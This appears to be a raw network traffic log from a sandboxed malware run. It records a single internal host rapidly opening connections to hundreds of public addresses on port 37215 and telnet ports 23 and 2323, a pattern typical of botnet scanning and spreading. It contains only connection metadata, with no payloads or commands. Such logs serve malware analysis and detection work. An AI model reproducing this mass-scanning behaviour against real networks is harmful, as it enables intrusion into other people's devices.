Oct 8, 2024 20:34:54.559618950 CEST	59616	37215	192.168.2.14	197.6.201.91
Oct 8, 2024 20:34:54.560098886 CEST	37822	37215	192.168.2.14	156.190.184.19
Oct 8, 2024 20:34:54.561486006 CEST	39984	37215	192.168.2.14	197.22.60.61
Oct 8, 2024 20:34:54.562243938 CEST	45060	37215	192.168.2.14	41.218.37.60
Oct 8, 2024 20:34:54.563023090 CEST	40262	37215	192.168.2.14	156.42.166.221
Oct 8, 2024 20:34:54.563918114 CEST	44064	37215	192.168.2.14	156.196.127.99
Oct 8, 2024 20:34:54.564714909 CEST	46260	37215	192.168.2.14	156.166.209.196
Oct 8, 2024 20:34:54.565078020 CEST	37215	32822	156.184.134.85	192.168.2.14
Oct 8, 2024 20:34:54.565143108 CEST	32822	37215	192.168.2.14	156.184.134.85
Oct 8, 2024 20:34:54.565386057 CEST	42472	37215	192.168.2.14	156.60.195.206
Oct 8, 2024 20:34:54.566422939 CEST	39894	37215	192.168.2.14	41.150.102.212
Oct 8, 2024 20:34:54.567414999 CEST	40430	37215	192.168.2.14	156.185.63.71
Oct 8, 2024 20:34:54.568093061 CEST	37934	37215	192.168.2.14	156.143.124.66
Oct 8, 2024 20:34:54.568104029 CEST	37215	48612	41.124.133.105	192.168.2.14
Oct 8, 2024 20:34:54.568239927 CEST	48612	37215	192.168.2.14	41.124.133.105
Oct 8, 2024 20:34:54.568861961 CEST	48040	37215	192.168.2.14	41.1.145.144
Oct 8, 2024 20:34:54.568994045 CEST	37215	44064	156.196.127.99	192.168.2.14
Oct 8, 2024 20:34:54.569056988 CEST	44064	37215	192.168.2.14	156.196.127.99
Oct 8, 2024 20:34:54.570229053 CEST	46152	37215	192.168.2.14	197.107.207.131
Oct 8, 2024 20:34:54.571057081 CEST	55492	37215	192.168.2.14	197.55.132.116
Oct 8, 2024 20:34:54.571803093 CEST	51612	37215	192.168.2.14	156.80.45.236
Oct 8, 2024 20:34:54.573035002 CEST	34024	37215	192.168.2.14	156.226.59.25
Oct 8, 2024 20:34:54.574098110 CEST	46782	37215	192.168.2.14	41.149.36.112
Oct 8, 2024 20:34:54.575208902 CEST	51876	37215	192.168.2.14	41.110.87.225
Oct 8, 2024 20:34:54.575933933 CEST	51348	37215	192.168.2.14	197.116.210.230
Oct 8, 2024 20:34:54.576797962 CEST	48998	37215	192.168.2.14	41.249.12.127
Oct 8, 2024 20:34:54.576839924 CEST	37215	51612	156.80.45.236	192.168.2.14
Oct 8, 2024 20:34:54.576915026 CEST	51612	37215	192.168.2.14	156.80.45.236
Oct 8, 2024 20:34:54.578111887 CEST	54588	37215	192.168.2.14	156.161.55.245
Oct 8, 2024 20:34:54.578111887 CEST	54588	37215	192.168.2.14	156.161.55.245
Oct 8, 2024 20:34:54.578722954 CEST	54646	37215	192.168.2.14	156.161.55.245
Oct 8, 2024 20:34:54.579433918 CEST	44064	37215	192.168.2.14	156.196.127.99
Oct 8, 2024 20:34:54.579433918 CEST	44064	37215	192.168.2.14	156.196.127.99
Oct 8, 2024 20:34:54.579783916 CEST	44096	37215	192.168.2.14	156.196.127.99
Oct 8, 2024 20:34:54.580670118 CEST	51612	37215	192.168.2.14	156.80.45.236
Oct 8, 2024 20:34:54.580670118 CEST	51612	37215	192.168.2.14	156.80.45.236
Oct 8, 2024 20:34:54.581105947 CEST	51628	37215	192.168.2.14	156.80.45.236
Oct 8, 2024 20:34:54.583189011 CEST	37215	54588	156.161.55.245	192.168.2.14
Oct 8, 2024 20:34:54.584403992 CEST	37215	44064	156.196.127.99	192.168.2.14
Oct 8, 2024 20:34:54.585585117 CEST	37215	51612	156.80.45.236	192.168.2.14
Oct 8, 2024 20:34:54.587625027 CEST	37215	38768	156.199.215.78	192.168.2.14
Oct 8, 2024 20:34:54.587655067 CEST	37215	39124	197.84.216.15	192.168.2.14
Oct 8, 2024 20:34:54.587682962 CEST	37215	44898	156.36.51.231	192.168.2.14
Oct 8, 2024 20:34:54.587734938 CEST	37215	43924	156.207.208.73	192.168.2.14
Oct 8, 2024 20:34:54.587764978 CEST	37215	53232	197.193.39.52	192.168.2.14
Oct 8, 2024 20:34:54.587791920 CEST	37215	37752	156.124.250.23	192.168.2.14
Oct 8, 2024 20:34:54.587821007 CEST	37215	58854	156.36.221.25	192.168.2.14
Oct 8, 2024 20:34:54.587852955 CEST	37215	60178	156.223.144.169	192.168.2.14
Oct 8, 2024 20:34:54.591407061 CEST	32780	37215	192.168.2.14	41.6.184.55
Oct 8, 2024 20:34:54.591408014 CEST	53014	37215	192.168.2.14	197.118.155.162
Oct 8, 2024 20:34:54.591419935 CEST	60136	37215	192.168.2.14	41.72.125.133
Oct 8, 2024 20:34:54.591427088 CEST	52024	37215	192.168.2.14	197.148.81.90
Oct 8, 2024 20:34:54.591428995 CEST	50620	37215	192.168.2.14	156.108.238.213
Oct 8, 2024 20:34:54.591428995 CEST	48964	37215	192.168.2.14	156.96.29.210
Oct 8, 2024 20:34:54.591435909 CEST	39458	37215	192.168.2.14	156.190.29.125
Oct 8, 2024 20:34:54.591437101 CEST	48464	37215	192.168.2.14	197.193.166.227
Oct 8, 2024 20:34:54.591444969 CEST	55348	37215	192.168.2.14	156.162.179.119
Oct 8, 2024 20:34:54.591450930 CEST	54954	37215	192.168.2.14	41.55.74.90
Oct 8, 2024 20:34:54.591451883 CEST	58416	37215	192.168.2.14	156.42.190.57
Oct 8, 2024 20:34:54.591453075 CEST	38508	37215	192.168.2.14	41.235.138.140
Oct 8, 2024 20:34:54.591450930 CEST	47108	37215	192.168.2.14	197.117.32.0
Oct 8, 2024 20:34:54.591459036 CEST	51728	37215	192.168.2.14	197.44.234.96
Oct 8, 2024 20:34:54.591459036 CEST	47298	37215	192.168.2.14	197.64.46.11
Oct 8, 2024 20:34:54.591461897 CEST	56554	37215	192.168.2.14	197.67.37.109
Oct 8, 2024 20:34:54.591474056 CEST	35178	37215	192.168.2.14	197.11.103.109
Oct 8, 2024 20:34:54.591478109 CEST	59374	37215	192.168.2.14	197.49.8.108
Oct 8, 2024 20:34:54.591483116 CEST	48554	37215	192.168.2.14	156.16.162.9
Oct 8, 2024 20:34:54.591483116 CEST	42796	37215	192.168.2.14	41.253.97.168
Oct 8, 2024 20:34:54.591494083 CEST	52526	37215	192.168.2.14	156.119.155.67
Oct 8, 2024 20:34:54.591494083 CEST	53230	37215	192.168.2.14	197.148.84.111
Oct 8, 2024 20:34:54.591495991 CEST	46334	37215	192.168.2.14	197.19.20.158
Oct 8, 2024 20:34:54.591496944 CEST	50988	37215	192.168.2.14	41.101.62.92
Oct 8, 2024 20:34:54.591495991 CEST	37215	59892	156.32.183.41	192.168.2.14
Oct 8, 2024 20:34:54.591499090 CEST	49988	37215	192.168.2.14	41.180.118.96
Oct 8, 2024 20:34:54.591505051 CEST	57504	37215	192.168.2.14	197.197.130.180
Oct 8, 2024 20:34:54.591516018 CEST	39650	37215	192.168.2.14	156.93.186.164
Oct 8, 2024 20:34:54.591516018 CEST	46462	37215	192.168.2.14	156.26.18.94
Oct 8, 2024 20:34:54.591516018 CEST	55294	37215	192.168.2.14	197.181.201.71
Oct 8, 2024 20:34:54.591521025 CEST	53346	37215	192.168.2.14	197.49.62.7
Oct 8, 2024 20:34:54.591536045 CEST	33516	37215	192.168.2.14	197.206.88.239
Oct 8, 2024 20:34:54.591555119 CEST	37215	48208	41.124.133.105	192.168.2.14
Oct 8, 2024 20:34:54.591583014 CEST	37215	60646	156.184.134.85	192.168.2.14
Oct 8, 2024 20:34:54.596582890 CEST	37215	32780	41.6.184.55	192.168.2.14
Oct 8, 2024 20:34:54.596612930 CEST	37215	53014	197.118.155.162	192.168.2.14
Oct 8, 2024 20:34:54.596669912 CEST	53014	37215	192.168.2.14	197.118.155.162
Oct 8, 2024 20:34:54.596810102 CEST	32780	37215	192.168.2.14	41.6.184.55
Oct 8, 2024 20:34:54.596810102 CEST	32780	37215	192.168.2.14	41.6.184.55
Oct 8, 2024 20:34:54.596836090 CEST	32780	37215	192.168.2.14	41.6.184.55
Oct 8, 2024 20:34:54.597183943 CEST	32996	37215	192.168.2.14	41.6.184.55
Oct 8, 2024 20:34:54.597671032 CEST	53014	37215	192.168.2.14	197.118.155.162
Oct 8, 2024 20:34:54.597671032 CEST	53014	37215	192.168.2.14	197.118.155.162
Oct 8, 2024 20:34:54.598809958 CEST	53230	37215	192.168.2.14	197.118.155.162
Oct 8, 2024 20:34:54.601744890 CEST	37215	32780	41.6.184.55	192.168.2.14
Oct 8, 2024 20:34:54.602854013 CEST	37215	53014	197.118.155.162	192.168.2.14
Oct 8, 2024 20:34:54.618311882 CEST	37215	37268	197.235.13.125	192.168.2.14
Oct 8, 2024 20:34:54.618411064 CEST	37268	37215	192.168.2.14	197.235.13.125
Oct 8, 2024 20:34:54.623528004 CEST	48068	37215	192.168.2.14	41.206.221.4
Oct 8, 2024 20:34:54.623529911 CEST	42714	37215	192.168.2.14	197.220.0.95
Oct 8, 2024 20:34:54.623529911 CEST	42572	37215	192.168.2.14	197.13.206.248
Oct 8, 2024 20:34:54.623529911 CEST	60922	37215	192.168.2.14	156.200.232.130
Oct 8, 2024 20:34:54.623531103 CEST	58410	37215	192.168.2.14	156.63.48.112
Oct 8, 2024 20:34:54.623529911 CEST	57612	37215	192.168.2.14	156.143.211.8
Oct 8, 2024 20:34:54.623531103 CEST	53274	37215	192.168.2.14	156.131.248.248
Oct 8, 2024 20:34:54.623529911 CEST	59544	37215	192.168.2.14	156.199.146.184
Oct 8, 2024 20:34:54.623531103 CEST	41980	37215	192.168.2.14	197.72.96.94
Oct 8, 2024 20:34:54.623533964 CEST	33012	37215	192.168.2.14	197.157.148.255
Oct 8, 2024 20:34:54.623532057 CEST	41726	37215	192.168.2.14	41.177.243.230
Oct 8, 2024 20:34:54.623531103 CEST	57814	37215	192.168.2.14	41.80.66.31
Oct 8, 2024 20:34:54.623529911 CEST	49964	37215	192.168.2.14	41.48.165.164
Oct 8, 2024 20:34:54.623533964 CEST	37474	37215	192.168.2.14	197.210.44.39
Oct 8, 2024 20:34:54.623532057 CEST	45544	37215	192.168.2.14	41.72.71.138
Oct 8, 2024 20:34:54.623533964 CEST	55494	37215	192.168.2.14	41.53.183.197
Oct 8, 2024 20:34:54.623537064 CEST	58952	37215	192.168.2.14	197.54.92.12
Oct 8, 2024 20:34:54.623532057 CEST	40172	37215	192.168.2.14	197.199.22.219
Oct 8, 2024 20:34:54.623533964 CEST	37968	37215	192.168.2.14	156.89.68.228
Oct 8, 2024 20:34:54.623533964 CEST	37054	37215	192.168.2.14	41.173.24.60
Oct 8, 2024 20:34:54.623537064 CEST	41162	37215	192.168.2.14	41.85.252.29
Oct 8, 2024 20:34:54.623537064 CEST	33068	37215	192.168.2.14	197.0.113.100
Oct 8, 2024 20:34:54.623537064 CEST	42690	37215	192.168.2.14	156.195.141.158
Oct 8, 2024 20:34:54.623548985 CEST	43130	37215	192.168.2.14	156.33.51.38
Oct 8, 2024 20:34:54.623564005 CEST	33196	37215	192.168.2.14	156.92.126.87
Oct 8, 2024 20:34:54.623567104 CEST	47462	37215	192.168.2.14	156.143.127.208
Oct 8, 2024 20:34:54.623567104 CEST	45388	37215	192.168.2.14	41.242.249.142
Oct 8, 2024 20:34:54.623567104 CEST	39292	37215	192.168.2.14	156.255.180.53
Oct 8, 2024 20:34:54.623568058 CEST	35906	37215	192.168.2.14	156.164.174.189
Oct 8, 2024 20:34:54.623567104 CEST	44460	37215	192.168.2.14	41.232.14.171
Oct 8, 2024 20:34:54.623568058 CEST	34384	37215	192.168.2.14	197.51.56.98
Oct 8, 2024 20:34:54.623569012 CEST	45710	37215	192.168.2.14	41.131.232.150
Oct 8, 2024 20:34:54.623569012 CEST	51108	37215	192.168.2.14	156.166.190.11
Oct 8, 2024 20:34:54.623567104 CEST	53044	37215	192.168.2.14	41.128.17.114
Oct 8, 2024 20:34:54.623569012 CEST	34602	37215	192.168.2.14	197.169.169.230
Oct 8, 2024 20:34:54.623569012 CEST	60360	37215	192.168.2.14	41.47.228.13
Oct 8, 2024 20:34:54.623568058 CEST	35012	37215	192.168.2.14	41.216.80.115
Oct 8, 2024 20:34:54.623569012 CEST	57578	37215	192.168.2.14	197.44.68.212
Oct 8, 2024 20:34:54.623569965 CEST	45094	37215	192.168.2.14	197.202.98.21
Oct 8, 2024 20:34:54.623567104 CEST	46430	37215	192.168.2.14	156.209.41.239
Oct 8, 2024 20:34:54.623568058 CEST	56180	37215	192.168.2.14	197.60.215.97
Oct 8, 2024 20:34:54.623569965 CEST	38382	37215	192.168.2.14	41.134.171.4
Oct 8, 2024 20:34:54.623569012 CEST	41136	37215	192.168.2.14	156.199.193.96
Oct 8, 2024 20:34:54.623569965 CEST	50424	37215	192.168.2.14	41.212.95.162
Oct 8, 2024 20:34:54.623569965 CEST	47120	37215	192.168.2.14	197.155.238.96
Oct 8, 2024 20:34:54.623585939 CEST	37706	37215	192.168.2.14	197.54.69.98
Oct 8, 2024 20:34:54.624665022 CEST	37215	54588	156.161.55.245	192.168.2.14
Oct 8, 2024 20:34:54.630125999 CEST	37215	48068	41.206.221.4	192.168.2.14
Oct 8, 2024 20:34:54.630179882 CEST	37215	58410	156.63.48.112	192.168.2.14
Oct 8, 2024 20:34:54.630208969 CEST	37215	53274	156.131.248.248	192.168.2.14
Oct 8, 2024 20:34:54.630237103 CEST	48068	37215	192.168.2.14	41.206.221.4
Oct 8, 2024 20:34:54.630238056 CEST	58410	37215	192.168.2.14	156.63.48.112
Oct 8, 2024 20:34:54.630250931 CEST	53274	37215	192.168.2.14	156.131.248.248
Oct 8, 2024 20:34:54.630330086 CEST	48068	37215	192.168.2.14	41.206.221.4
Oct 8, 2024 20:34:54.630330086 CEST	48068	37215	192.168.2.14	41.206.221.4
Oct 8, 2024 20:34:54.630789995 CEST	48280	37215	192.168.2.14	41.206.221.4
Oct 8, 2024 20:34:54.631337881 CEST	58410	37215	192.168.2.14	156.63.48.112
Oct 8, 2024 20:34:54.631337881 CEST	58410	37215	192.168.2.14	156.63.48.112
Oct 8, 2024 20:34:54.631740093 CEST	58612	37215	192.168.2.14	156.63.48.112
Oct 8, 2024 20:34:54.632388115 CEST	37215	51612	156.80.45.236	192.168.2.14
Oct 8, 2024 20:34:54.632417917 CEST	37215	44064	156.196.127.99	192.168.2.14
Oct 8, 2024 20:34:54.632791996 CEST	53274	37215	192.168.2.14	156.131.248.248
Oct 8, 2024 20:34:54.632792950 CEST	53274	37215	192.168.2.14	156.131.248.248
Oct 8, 2024 20:34:54.633536100 CEST	53440	37215	192.168.2.14	156.131.248.248
Oct 8, 2024 20:34:54.635961056 CEST	37215	48068	41.206.221.4	192.168.2.14
Oct 8, 2024 20:34:54.636535883 CEST	37215	58410	156.63.48.112	192.168.2.14
Oct 8, 2024 20:34:54.636687994 CEST	37215	58612	156.63.48.112	192.168.2.14
Oct 8, 2024 20:34:54.636758089 CEST	58612	37215	192.168.2.14	156.63.48.112
Oct 8, 2024 20:34:54.636786938 CEST	58612	37215	192.168.2.14	156.63.48.112
Oct 8, 2024 20:34:54.638132095 CEST	37215	53274	156.131.248.248	192.168.2.14
Oct 8, 2024 20:34:54.642704010 CEST	37215	58612	156.63.48.112	192.168.2.14
Oct 8, 2024 20:34:54.642793894 CEST	58612	37215	192.168.2.14	156.63.48.112
Oct 8, 2024 20:34:54.643569946 CEST	37215	53014	197.118.155.162	192.168.2.14
Oct 8, 2024 20:34:54.644211054 CEST	37215	32780	41.6.184.55	192.168.2.14
Oct 8, 2024 20:34:54.655426979 CEST	48394	37215	192.168.2.14	41.123.118.173
Oct 8, 2024 20:34:54.655426979 CEST	51056	37215	192.168.2.14	156.88.55.106
Oct 8, 2024 20:34:54.655426979 CEST	40418	37215	192.168.2.14	197.98.75.148
Oct 8, 2024 20:34:54.655430079 CEST	51976	37215	192.168.2.14	41.253.181.180
Oct 8, 2024 20:34:54.655431986 CEST	44194	37215	192.168.2.14	156.191.85.75
Oct 8, 2024 20:34:54.655438900 CEST	40510	37215	192.168.2.14	41.141.39.137
Oct 8, 2024 20:34:54.655438900 CEST	35058	37215	192.168.2.14	197.29.2.213
Oct 8, 2024 20:34:54.655438900 CEST	44456	37215	192.168.2.14	156.243.42.146
Oct 8, 2024 20:34:54.655468941 CEST	33372	37215	192.168.2.14	156.41.157.113
Oct 8, 2024 20:34:54.660454988 CEST	37215	44194	156.191.85.75	192.168.2.14
Oct 8, 2024 20:34:54.660568953 CEST	44194	37215	192.168.2.14	156.191.85.75
Oct 8, 2024 20:34:54.660645008 CEST	37215	48394	41.123.118.173	192.168.2.14
Oct 8, 2024 20:34:54.660718918 CEST	48394	37215	192.168.2.14	41.123.118.173
Oct 8, 2024 20:34:54.660732031 CEST	44194	37215	192.168.2.14	156.191.85.75
Oct 8, 2024 20:34:54.660820007 CEST	48394	37215	192.168.2.14	41.123.118.173
Oct 8, 2024 20:34:54.667525053 CEST	37215	48394	41.123.118.173	192.168.2.14
Oct 8, 2024 20:34:54.667558908 CEST	37215	44194	156.191.85.75	192.168.2.14
Oct 8, 2024 20:34:54.667587042 CEST	37215	44194	156.191.85.75	192.168.2.14
Oct 8, 2024 20:34:54.667644978 CEST	44194	37215	192.168.2.14	156.191.85.75
Oct 8, 2024 20:34:54.668153048 CEST	37215	48394	41.123.118.173	192.168.2.14
Oct 8, 2024 20:34:54.668277025 CEST	48394	37215	192.168.2.14	41.123.118.173
Oct 8, 2024 20:34:54.679481030 CEST	37215	53274	156.131.248.248	192.168.2.14
Oct 8, 2024 20:34:54.679533958 CEST	37215	58410	156.63.48.112	192.168.2.14
Oct 8, 2024 20:34:54.679692984 CEST	37215	48068	41.206.221.4	192.168.2.14
Oct 8, 2024 20:34:54.722096920 CEST	2323	36498	191.63.146.86	192.168.2.14
Oct 8, 2024 20:34:54.722615957 CEST	36498	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:54.722995043 CEST	36780	2323	192.168.2.14	191.63.146.86
Oct 8, 2024 20:34:54.723670006 CEST	48168	2323	192.168.2.14	107.196.101.154
Oct 8, 2024 20:34:54.723685026 CEST	48168	23	192.168.2.14	109.147.251.135
Oct 8, 2024 20:34:54.723699093 CEST	48168	23	192.168.2.14	218.225.54.32
Oct 8, 2024 20:34:54.723697901 CEST	48168	23	192.168.2.14	69.39.47.185
Oct 8, 2024 20:34:54.723711014 CEST	48168	23	192.168.2.14	174.252.255.161
Oct 8, 2024 20:34:54.723720074 CEST	48168	23	192.168.2.14	103.213.46.202
Oct 8, 2024 20:34:54.723726034 CEST	48168	23	192.168.2.14	150.168.197.65
Oct 8, 2024 20:34:54.723737001 CEST	48168	2323	192.168.2.14	183.161.189.44
Oct 8, 2024 20:34:54.723742008 CEST	48168	23	192.168.2.14	138.235.122.9
Oct 8, 2024 20:34:54.723742008 CEST	48168	23	192.168.2.14	175.76.45.86
Oct 8, 2024 20:34:54.723745108 CEST	48168	23	192.168.2.14	206.177.79.38
Oct 8, 2024 20:34:54.723747015 CEST	48168	23	192.168.2.14	66.29.183.33
Oct 8, 2024 20:34:54.723761082 CEST	48168	23	192.168.2.14	90.28.65.78
Oct 8, 2024 20:34:54.723762989 CEST	48168	23	192.168.2.14	129.5.46.242
Oct 8, 2024 20:34:54.723766088 CEST	48168	23	192.168.2.14	46.236.60.109
Oct 8, 2024 20:34:54.723778963 CEST	48168	23	192.168.2.14	17.4.210.151
Oct 8, 2024 20:34:54.723779917 CEST	48168	23	192.168.2.14	180.172.255.163
Oct 8, 2024 20:34:54.723782063 CEST	48168	23	192.168.2.14	164.127.39.73
Oct 8, 2024 20:34:54.723789930 CEST	48168	23	192.168.2.14	115.246.44.36
Oct 8, 2024 20:34:54.723789930 CEST	48168	23	192.168.2.14	165.224.230.34
Oct 8, 2024 20:34:54.723795891 CEST	48168	2323	192.168.2.14	164.91.69.26
Oct 8, 2024 20:34:54.723814011 CEST	48168	23	192.168.2.14	156.3.230.224
Oct 8, 2024 20:34:54.723814964 CEST	48168	23	192.168.2.14	184.150.79.68
Oct 8, 2024 20:34:54.723831892 CEST	48168	23	192.168.2.14	38.92.245.107
Oct 8, 2024 20:34:54.723831892 CEST	48168	23	192.168.2.14	141.111.165.251
Oct 8, 2024 20:34:54.723844051 CEST	48168	23	192.168.2.14	181.152.196.41
Oct 8, 2024 20:34:54.723849058 CEST	48168	23	192.168.2.14	182.77.82.217
Oct 8, 2024 20:34:54.723855972 CEST	48168	23	192.168.2.14	95.252.96.133
Oct 8, 2024 20:34:54.723866940 CEST	48168	23	192.168.2.14	39.87.102.134
Oct 8, 2024 20:34:54.723877907 CEST	48168	2323	192.168.2.14	156.46.134.251
Oct 8, 2024 20:34:54.723886967 CEST	48168	23	192.168.2.14	99.28.227.32
Oct 8, 2024 20:34:54.723891973 CEST	48168	23	192.168.2.14	188.76.11.145
Oct 8, 2024 20:34:54.723895073 CEST	48168	23	192.168.2.14	176.135.231.94
Oct 8, 2024 20:34:54.723895073 CEST	48168	23	192.168.2.14	84.189.246.103
Oct 8, 2024 20:34:54.723911047 CEST	48168	23	192.168.2.14	43.78.0.218
Oct 8, 2024 20:34:54.723912001 CEST	48168	23	192.168.2.14	216.171.27.11
Oct 8, 2024 20:34:54.723925114 CEST	48168	23	192.168.2.14	12.201.26.189
Oct 8, 2024 20:34:54.723927975 CEST	48168	23	192.168.2.14	126.11.106.59
Oct 8, 2024 20:34:54.723932028 CEST	48168	23	192.168.2.14	203.75.250.254
Oct 8, 2024 20:34:54.723946095 CEST	48168	23	192.168.2.14	31.28.59.46
Oct 8, 2024 20:34:54.723947048 CEST	48168	2323	192.168.2.14	111.20.132.212
Oct 8, 2024 20:34:54.723951101 CEST	48168	23	192.168.2.14	94.143.245.237
Oct 8, 2024 20:34:54.723962069 CEST	48168	23	192.168.2.14	107.237.68.120
Oct 8, 2024 20:34:54.723963022 CEST	48168	23	192.168.2.14	42.30.229.232
Oct 8, 2024 20:34:54.723964930 CEST	48168	23	192.168.2.14	124.182.26.102
Oct 8, 2024 20:34:54.723978996 CEST	48168	23	192.168.2.14	12.203.35.32
Oct 8, 2024 20:34:54.723987103 CEST	48168	23	192.168.2.14	213.121.148.253
Oct 8, 2024 20:34:54.723990917 CEST	48168	23	192.168.2.14	44.214.224.66
Oct 8, 2024 20:34:54.723990917 CEST	48168	23	192.168.2.14	133.38.226.153
Oct 8, 2024 20:34:54.724004030 CEST	48168	23	192.168.2.14	81.173.25.120
Oct 8, 2024 20:34:54.724015951 CEST	48168	23	192.168.2.14	141.134.103.2
Oct 8, 2024 20:34:54.724018097 CEST	48168	23	192.168.2.14	121.30.226.85
Oct 8, 2024 20:34:54.724020958 CEST	48168	23	192.168.2.14	116.71.112.35
Oct 8, 2024 20:34:54.724033117 CEST	48168	23	192.168.2.14	223.81.227.237
Oct 8, 2024 20:34:54.724034071 CEST	48168	23	192.168.2.14	94.173.134.210
Oct 8, 2024 20:34:54.724035025 CEST	48168	23	192.168.2.14	81.50.219.6
Oct 8, 2024 20:34:54.724034071 CEST	48168	23	192.168.2.14	175.119.141.72
Oct 8, 2024 20:34:54.724039078 CEST	48168	23	192.168.2.14	90.124.85.242
Oct 8, 2024 20:34:54.724035025 CEST	48168	2323	192.168.2.14	122.119.152.6
Oct 8, 2024 20:34:54.724039078 CEST	48168	23	192.168.2.14	19.23.176.171
Oct 8, 2024 20:34:54.724035025 CEST	48168	2323	192.168.2.14	198.33.70.195
Oct 8, 2024 20:34:54.724035025 CEST	48168	23	192.168.2.14	207.15.172.234
Oct 8, 2024 20:34:54.724045992 CEST	48168	23	192.168.2.14	23.123.24.80
Oct 8, 2024 20:34:54.724047899 CEST	48168	23	192.168.2.14	89.208.7.71
Oct 8, 2024 20:34:54.724066019 CEST	48168	23	192.168.2.14	216.140.208.8
Oct 8, 2024 20:34:54.724069118 CEST	48168	23	192.168.2.14	108.222.206.253
Oct 8, 2024 20:34:54.724070072 CEST	48168	23	192.168.2.14	34.242.66.3
Oct 8, 2024 20:34:54.724071026 CEST	48168	23	192.168.2.14	173.105.117.3
Oct 8, 2024 20:34:54.724075079 CEST	48168	23	192.168.2.14	201.235.242.57
Oct 8, 2024 20:34:54.724097967 CEST	48168	23	192.168.2.14	83.174.16.213
Oct 8, 2024 20:34:54.724104881 CEST	48168	23	192.168.2.14	177.65.106.166
Oct 8, 2024 20:34:54.724113941 CEST	48168	23	192.168.2.14	202.35.92.252
Oct 8, 2024 20:34:54.724117041 CEST	48168	23	192.168.2.14	206.55.189.65
Oct 8, 2024 20:34:54.724137068 CEST	48168	23	192.168.2.14	70.48.108.103
Oct 8, 2024 20:34:54.724137068 CEST	48168	23	192.168.2.14	70.211.81.27
Oct 8, 2024 20:34:54.724149942 CEST	48168	23	192.168.2.14	117.249.225.239
Oct 8, 2024 20:34:54.724149942 CEST	48168	23	192.168.2.14	32.102.159.209
Oct 8, 2024 20:34:54.724163055 CEST	48168	2323	192.168.2.14	76.134.46.126
Oct 8, 2024 20:34:54.724163055 CEST	48168	23	192.168.2.14	91.15.244.149
Oct 8, 2024 20:34:54.724163055 CEST	48168	2323	192.168.2.14	42.176.221.112
Oct 8, 2024 20:34:54.724178076 CEST	48168	23	192.168.2.14	180.174.172.195
Oct 8, 2024 20:34:54.724180937 CEST	48168	23	192.168.2.14	179.165.5.118
Oct 8, 2024 20:34:54.724184990 CEST	48168	23	192.168.2.14	159.68.1.65
Oct 8, 2024 20:34:54.724189043 CEST	48168	23	192.168.2.14	211.16.66.131
Oct 8, 2024 20:34:54.724189997 CEST	48168	23	192.168.2.14	45.228.32.137
Oct 8, 2024 20:34:54.724189997 CEST	48168	23	192.168.2.14	68.242.182.74
Oct 8, 2024 20:34:54.724200010 CEST	48168	23	192.168.2.14	197.80.236.117
Oct 8, 2024 20:34:54.724201918 CEST	48168	23	192.168.2.14	121.160.93.209
Oct 8, 2024 20:34:54.724212885 CEST	48168	23	192.168.2.14	177.254.22.236
Oct 8, 2024 20:34:54.724215031 CEST	48168	23	192.168.2.14	100.142.101.88
Oct 8, 2024 20:34:54.724220991 CEST	48168	2323	192.168.2.14	113.120.6.190
Oct 8, 2024 20:34:54.724227905 CEST	48168	23	192.168.2.14	172.132.191.139
Oct 8, 2024 20:34:54.724231958 CEST	48168	23	192.168.2.14	23.158.81.20
Oct 8, 2024 20:34:54.724245071 CEST	48168	23	192.168.2.14	181.198.169.61
Oct 8, 2024 20:34:54.724246025 CEST	48168	23	192.168.2.14	154.90.60.185
Oct 8, 2024 20:34:54.724262953 CEST	48168	23	192.168.2.14	223.78.73.36
Oct 8, 2024 20:34:54.724263906 CEST	48168	23	192.168.2.14	147.102.80.220
Oct 8, 2024 20:34:54.724262953 CEST	48168	23	192.168.2.14	114.196.114.208
Oct 8, 2024 20:34:54.724268913 CEST	48168	23	192.168.2.14	118.242.248.57
Oct 8, 2024 20:34:54.724277973 CEST	48168	2323	192.168.2.14	82.233.23.186
Oct 8, 2024 20:34:54.724280119 CEST	48168	23	192.168.2.14	167.180.190.219
Oct 8, 2024 20:34:54.724284887 CEST	48168	23	192.168.2.14	94.122.168.68
Oct 8, 2024 20:34:54.724298954 CEST	48168	23	192.168.2.14	174.225.125.85
Oct 8, 2024 20:34:54.724324942 CEST	48168	23	192.168.2.14	107.108.95.20
Oct 8, 2024 20:34:54.724324942 CEST	48168	23	192.168.2.14	108.90.187.183
Oct 8, 2024 20:34:54.724324942 CEST	48168	23	192.168.2.14	179.228.194.56
Oct 8, 2024 20:34:54.724329948 CEST	48168	23	192.168.2.14	40.69.3.145
Oct 8, 2024 20:34:54.724329948 CEST	48168	23	192.168.2.14	108.252.42.42
Oct 8, 2024 20:34:54.724329948 CEST	48168	2323	192.168.2.14	123.84.164.45
Oct 8, 2024 20:34:54.724329948 CEST	48168	23	192.168.2.14	169.196.170.83
Oct 8, 2024 20:34:54.724332094 CEST	48168	23	192.168.2.14	113.159.91.57
Oct 8, 2024 20:34:54.724335909 CEST	48168	23	192.168.2.14	46.87.213.56
Oct 8, 2024 20:34:54.724335909 CEST	48168	23	192.168.2.14	133.99.139.213
Oct 8, 2024 20:34:54.724339962 CEST	48168	23	192.168.2.14	211.132.51.150
Oct 8, 2024 20:34:54.724339962 CEST	48168	23	192.168.2.14	222.77.26.36
Oct 8, 2024 20:34:54.724342108 CEST	48168	23	192.168.2.14	193.187.215.62
Oct 8, 2024 20:34:54.724349022 CEST	48168	23	192.168.2.14	32.74.95.19
Oct 8, 2024 20:34:54.724349022 CEST	48168	23	192.168.2.14	221.200.60.181
Oct 8, 2024 20:34:54.724350929 CEST	48168	23	192.168.2.14	77.223.142.182
Oct 8, 2024 20:34:54.724350929 CEST	48168	23	192.168.2.14	121.175.24.100
Oct 8, 2024 20:34:54.724370956 CEST	48168	2323	192.168.2.14	65.132.118.183
Oct 8, 2024 20:34:54.724370956 CEST	48168	23	192.168.2.14	2.33.91.217
Oct 8, 2024 20:34:54.724376917 CEST	48168	23	192.168.2.14	99.77.60.67
Oct 8, 2024 20:34:54.724427938 CEST	48168	23	192.168.2.14	86.213.232.119
Oct 8, 2024 20:34:54.724436998 CEST	48168	23	192.168.2.14	196.103.219.253
Oct 8, 2024 20:34:54.724453926 CEST	48168	23	192.168.2.14	53.105.2.94
Oct 8, 2024 20:34:54.724458933 CEST	48168	23	192.168.2.14	64.240.44.246
Oct 8, 2024 20:34:54.724458933 CEST	48168	23	192.168.2.14	94.41.120.36
Oct 8, 2024 20:34:54.724478006 CEST	48168	23	192.168.2.14	200.115.68.31
Oct 8, 2024 20:34:54.724483967 CEST	48168	23	192.168.2.14	23.11.117.102
Oct 8, 2024 20:34:54.724483967 CEST	48168	23	192.168.2.14	141.40.13.25
